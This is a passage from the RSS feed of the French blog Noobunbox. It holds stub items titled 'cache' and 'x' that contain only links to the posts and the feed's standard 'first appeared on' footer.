<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/cache-3&quot;&gt;cache&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/x-4&quot;&gt;x&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>cache</title>
<link>https://www.noobunbox.net/linux/cache-3</link>
<guid isPermaLink="false">Ge5ZBO7Oe9FgE0eF-lI-m3ppX-Jj9-2ts88WUQ==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>cache Cet article cache est apparu en premier sur Noobunbox.</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/cache-2&quot;&gt;cache&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/cache-3&quot;&gt;cache&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
</channel>
</rss>
